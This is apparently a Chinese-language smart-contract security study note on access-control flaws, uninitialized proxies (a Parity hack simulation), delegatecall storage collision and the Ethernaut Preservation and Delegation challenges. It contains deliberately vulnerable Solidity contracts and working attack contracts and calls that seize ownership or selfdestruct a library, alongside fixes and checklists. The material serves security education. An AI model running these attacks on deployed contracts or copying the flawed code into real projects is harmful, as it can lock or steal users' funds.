返回 SC 笔记
SC Day 53

权限漏洞 + 未初始化代理 + 存储碰撞(Storage Collision)

### 1. 权限漏洞(Missing Access Control)

2026-05-23
第三阶段:安全审计
access-controlproxystorage-collisionparity-hackethernaut

日期: 2026-05-23 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #access-control #proxy #storage-collision #parity-hack #ethernaut


今日目标

  1. 理解缺失访问控制漏洞的各种形态
  2. 深入分析未初始化代理漏洞(Parity 钱包事件)
  3. 掌握代理模式中存储碰撞的原理和防范
  4. 完成 Ethernaut #16 Preservation 和 #6 Delegation 挑战

核心概念

1. 权限漏洞(Missing Access Control)

权限漏洞是智能合约中最常见也最危险的漏洞之一。它的核心问题是:应该受限的函数没有正确实施访问控制

常见场景

场景说明影响
缺失 onlyOwner管理函数没有权限检查任何人可以调用管理功能
初始化函数可重复调用initialize() 没有防重入攻击者重新初始化合约
内部函数误设为 public可见性设置错误暴露内部逻辑
默认可见性Solidity 0.5 之前默认 public函数意外暴露

Solidity 可见性规则

contract Visibility {
    // public: 任何人可调用(内部+外部)
    function publicFunc() public {}

    // external: 仅外部调用(比 public 稍省 gas)
    function externalFunc() external {}

    // internal: 仅本合约和子合约
    function internalFunc() internal {}

    // private: 仅本合约
    function privateFunc() private {}
}

重要:Solidity 0.5.0 之前,函数默认可见性是 public!这导致了很多意外暴露。

2. 代理模式(Proxy Pattern)

代理模式是实现合约可升级性的核心机制。理解它的存储模型对安全至关重要。

工作原理

用户 → Proxy 合约(存储 + delegatecall)→ Implementation 合约(逻辑)

关键:delegatecall 在 Proxy 的存储上下文中执行 Implementation 的代码
// delegatecall 的本质:
// "用别人的代码操作自己的存储"
//
// Proxy 存储:     slot 0 = X, slot 1 = Y
// Impl 代码:      写入 slot 0
// 结果:           Proxy 的 slot 0 被修改

三种代理模式

模式特点admin 存储位置
Transparent ProxyAdmin 调用走 proxy 逻辑,用户调用走 impl特殊 slot
UUPS升级逻辑在 Implementation 中特殊 slot
Beacon Proxy多个 proxy 共享一个 beaconBeacon 合约中

3. 存储碰撞(Storage Collision)

EVM 使用 slot-based 存储。每个状态变量按声明顺序占据 slot:

contract A {
    uint256 public x;    // slot 0
    uint256 public y;    // slot 1
    address public owner; // slot 2
}

当 Proxy 使用 delegatecall 调用 Implementation 时,Implementation 的代码操作的是 Proxy 的存储 slot。如果两者的存储布局不匹配,就会发生存储碰撞。

Proxy 存储布局:              Implementation 存储布局:
slot 0: implementation addr   slot 0: uint256 value
slot 1: admin addr            slot 1: address owner
slot 2: ...                   slot 2: ...

当 Implementation 写入 "value"(slot 0)时,
实际修改的是 Proxy 的 "implementation address"!

4. EIP-1967 标准存储 Slot

为了避免存储碰撞,EIP-1967 定义了特殊的存储 slot:

// EIP-1967 标准 slot
bytes32 constant IMPLEMENTATION_SLOT =
    bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
// = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

bytes32 constant ADMIN_SLOT =
    bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);
// = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103

这些 slot 值是通过 keccak256 - 1 计算的,几乎不可能与正常变量声明的 slot 碰撞。


代码实战

漏洞示例 1:缺失访问控制

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 漏洞版本
contract VaultVulnerable {
    address public owner;
    mapping(address => uint256) public balances;

    constructor() {
        owner = msg.sender;
    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // 漏洞!没有权限检查,任何人都可以调用
    function withdrawAll(address payable to) external {
        uint256 balance = address(this).balance;
        (bool success, ) = to.call{value: balance}("");
        require(success, "Transfer failed");
    }

    // 漏洞!没有权限检查,任何人都可以修改 owner
    function setOwner(address newOwner) external {
        owner = newOwner;
    }
}

修复方案

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

// 方案1: 使用 Ownable(简单场景)
contract VaultFixed1 is Ownable {
    mapping(address => uint256) public balances;

    constructor() Ownable(msg.sender) {}

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // 只有 owner 可以调用
    function withdrawAll(address payable to) external onlyOwner {
        (bool success, ) = to.call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }
}

// 方案2: 使用 AccessControl(复杂场景,多角色)
contract VaultFixed2 is AccessControl {
    bytes32 public constant WITHDRAWER_ROLE = keccak256("WITHDRAWER_ROLE");
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");

    mapping(address => uint256) public balances;

    constructor() {
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _grantRole(WITHDRAWER_ROLE, msg.sender);
    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawAll(address payable to) external onlyRole(WITHDRAWER_ROLE) {
        (bool success, ) = to.call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }
}

漏洞示例 2:未初始化代理(Parity 钱包 Hack 模拟)

2017 年 Parity 多签钱包事件是 DeFi 历史上最严重的安全事件之一。攻击者利用未初始化的 library 合约,调用 initWallet 成为 owner,然后调用 kill 销毁合约,冻结了价值 1.5 亿美元的 ETH。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 模拟 Parity 漏洞场景

// Implementation(逻辑合约)
contract WalletLibrary {
    address public owner;
    bool public initialized;

    // 漏洞:initWallet 是 public 的,且没有检查是否已初始化
    // 在 Library 自身的存储上下文中,owner 和 initialized 从未被设置
    function initWallet(address _owner) public {
        // 漏洞:没有 require(!initialized)
        owner = _owner;
        initialized = true;
    }

    function execute(address to, uint256 value, bytes memory data) public {
        require(msg.sender == owner, "Not owner");
        (bool success, ) = to.call{value: value}(data);
        require(success, "Execution failed");
    }

    // 漏洞:任何人成为 owner 后可以自毁
    function kill(address payable recipient) public {
        require(msg.sender == owner, "Not owner");
        selfdestruct(recipient);
    }
}

// Proxy(钱包合约)
contract WalletProxy {
    address public implementation;

    constructor(address _implementation) {
        implementation = _implementation;
    }

    fallback() external payable {
        address impl = implementation;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    receive() external payable {}
}

攻击过程

contract ParityAttack {
    function attack(address walletLibrary) external {
        // 步骤1:直接调用 WalletLibrary 的 initWallet
        // 因为 WalletLibrary 自身从未被初始化!
        WalletLibrary(walletLibrary).initWallet(address(this));

        // 步骤2:现在我们是 owner,可以 selfdestruct
        WalletLibrary(walletLibrary).kill(payable(msg.sender));

        // 结果:WalletLibrary 被销毁
        // 所有指向它的 Proxy 都失效了——delegatecall 到一个空地址
        // 所有 Proxy 中的 ETH 被永久锁定!
    }
}

修复方案

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

// 修复版本
contract WalletLibraryFixed is Initializable {
    address public owner;

    // 使用 initializer 修饰符防止重复初始化
    function initWallet(address _owner) public initializer {
        owner = _owner;
    }

    // 方法2:在构造函数中禁用初始化(推荐)
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers(); // 防止 implementation 自身被初始化
    }

    function execute(address to, uint256 value, bytes memory data) public {
        require(msg.sender == owner, "Not owner");
        (bool success, ) = to.call{value: value}(data);
        require(success);
    }

    // 移除 selfdestruct!
}

漏洞示例 3:存储碰撞(Ethernaut #16 Preservation)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 时间库合约
contract LibraryContract {
    uint public storedTime; // slot 0

    function setTime(uint _time) public {
        storedTime = _time; // 写入 slot 0
    }
}

// 漏洞合约
contract Preservation {
    address public timeZone1Library; // slot 0
    address public timeZone2Library; // slot 1
    address public owner;            // slot 2
    uint storedTime;                 // slot 3

    constructor(address _tz1, address _tz2) {
        timeZone1Library = _tz1;
        timeZone2Library = _tz2;
        owner = msg.sender;
    }

    function setFirstTime(uint _timeStamp) public {
        // delegatecall: 用 LibraryContract 的代码操作本合约的存储
        timeZone1Library.delegatecall(
            abi.encodePacked(bytes4(keccak256("setTime(uint256)")), _timeStamp)
        );
    }

    function setSecondTime(uint _timeStamp) public {
        timeZone2Library.delegatecall(
            abi.encodePacked(bytes4(keccak256("setTime(uint256)")), _timeStamp)
        );
    }
}

存储碰撞分析

LibraryContract 存储布局:        Preservation 存储布局:
slot 0: storedTime               slot 0: timeZone1Library ← 碰撞!
                                 slot 1: timeZone2Library
                                 slot 2: owner
                                 slot 3: storedTime

当 Preservation delegatecall LibraryContract.setTime(X) 时:
LibraryContract 写入 slot 0 (storedTime)
→ 实际修改的是 Preservation 的 slot 0 (timeZone1Library)!

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationAttack {
    // 关键:存储布局必须和 Preservation 匹配!
    address public timeZone1Library; // slot 0
    address public timeZone2Library; // slot 1
    address public owner;            // slot 2

    function setTime(uint _time) public {
        // 当被 delegatecall 调用时,修改的是 Preservation 的 slot 2
        owner = address(uint160(_time)); // 覆盖 owner!
    }
}

// 攻击流程:
// 1. 部署 PreservationAttack
// 2. 调用 preservation.setFirstTime(uint256(attackContract))
//    → delegatecall LibraryContract.setTime() 修改 slot 0
//    → Preservation.timeZone1Library = attackContract 地址
// 3. 再次调用 preservation.setFirstTime(uint256(attacker))
//    → 这次 delegatecall 的是 PreservationAttack.setTime()
//    → 修改 slot 2 = owner = attacker!

漏洞示例 4:Ethernaut #6 Delegation

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner; // slot 0

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender; // 写入 slot 0
    }
}

contract Delegation {
    address public owner; // slot 0
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    // 漏洞:fallback 中无条件 delegatecall
    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

攻击方式

// 只需发送 pwn() 的函数签名作为 calldata
// Delegation 的 fallback 会 delegatecall Delegate.pwn()
// 在 Delegation 的上下文中执行 owner = msg.sender
await web3.eth.sendTransaction({
    from: attacker,
    to: delegationAddress,
    data: web3.eth.abi.encodeFunctionSignature("pwn()"),
    gas: 100000
});
// 现在 Delegation.owner = attacker!

关键要点总结

访问控制检查清单

检查项说明
所有管理函数有权限修饰符onlyOwner / onlyRole
initialize 函数只能调用一次使用 initializer 修饰符
构造函数中禁用初始化_disableInitializers()
函数可见性正确不需要外部访问的设为 internal / private
delegatecall 目标受控不能让用户指定 delegatecall 地址

代理模式安全要点

要点说明
存储布局必须一致Proxy 和 Implementation 的变量顺序完全匹配
使用 EIP-1967 slot避免 admin/implementation 地址的存储碰撞
Implementation 禁止 selfdestructEIP-6780 后影响减小,但仍需注意
升级时只追加变量不删除、不重排已有变量
Implementation 构造函数禁用初始化防止被直接初始化

delegatecall 安全规则

1. 永远不要让用户控制 delegatecall 的目标地址
2. delegatecall 目标合约的存储布局必须和调用者完全匹配
3. delegatecall 保留 msg.sender 和 msg.value
4. 修改的是调用者的存储,不是目标的存储

常见误区

误区 1:"private 变量在链上是私密的"

大错特错!所有链上数据都是公开可读的。private 只是编译器层面的访问限制,任何人都可以通过 eth_getStorageAt 直接读取任意 slot。

// 读取合约 slot 0 的值
await web3.eth.getStorageAt(contractAddress, 0);
// 即使变量标记为 private,也能读到

误区 2:"delegatecall 只是普通的函数调用"

delegatecall 完全在调用者的上下文中执行:

  • msg.sender 不变(不是 proxy 地址,是原始调用者)
  • msg.value 不变
  • 存储操作作用于调用者
  • address(this) 是调用者地址

误区 3:"升级合约只要改 implementation 地址就行"

升级时必须保证新 implementation 的存储布局完全兼容旧版。新变量只能追加到末尾,不能插入、删除或重排。OpenZeppelin 的 upgrades plugin 提供了自动检查工具。

误区 4:"用了 OpenZeppelin 就安全了"

OpenZeppelin 提供了安全的基础组件,但使用方式错误仍然会产生漏洞。例如忘记调用 __Ownable_init()、忘记加 initializer 修饰符等。


面试关联

Q: 什么是 delegatecall?它有什么安全风险?

简短回答delegatecall 使用目标合约的代码在调用者的存储上下文中执行。主要风险是存储碰撞和权限绕过。

详细回答

  • delegatecall 是 EVM 操作码,用于"借用别人的代码操作自己的存储"
  • 核心机制:msg.sender、msg.value 不变,存储操作作用于调用者
  • 安全风险:
    1. 存储碰撞:目标合约的变量布局与调用者不匹配
    2. 权限绕过:目标合约可能写入关键 slot(如 owner)
    3. 未初始化代理:Implementation 合约自身可能被攻击
  • 防护措施:EIP-1967 标准 slot、initializer 修饰符、存储布局检查

Q: 描述 Parity 钱包被黑事件及其教训

回答

  1. 事件:2017年 Parity 多签钱包 Library 合约未被初始化,攻击者调用 initWallet 成为 owner,然后调用 kill 销毁 Library
  2. 影响:所有指向该 Library 的 Proxy 钱包失效,约 1.5 亿美元 ETH 被永久锁定
  3. 教训
    • Implementation 合约必须在部署时禁用初始化
    • initializer 修饰符防止重复初始化
    • 避免在 Implementation 中使用 selfdestruct
    • 这个事件直接推动了 EIP-1967 和标准化 Proxy 模式的发展

Q: 如何安全地实现合约可升级性?

回答:使用 OpenZeppelin 的 Transparent Proxy 或 UUPS 模式,遵循以下原则:

  1. 使用 EIP-1967 标准 slot 存储 implementation/admin 地址
  2. Implementation 构造函数中调用 _disableInitializers()
  3. 使用 initializer 修饰符确保只初始化一次
  4. 升级时只追加新变量,不修改已有布局
  5. 使用 OpenZeppelin Upgrades Plugin 自动检查存储布局兼容性

参考资源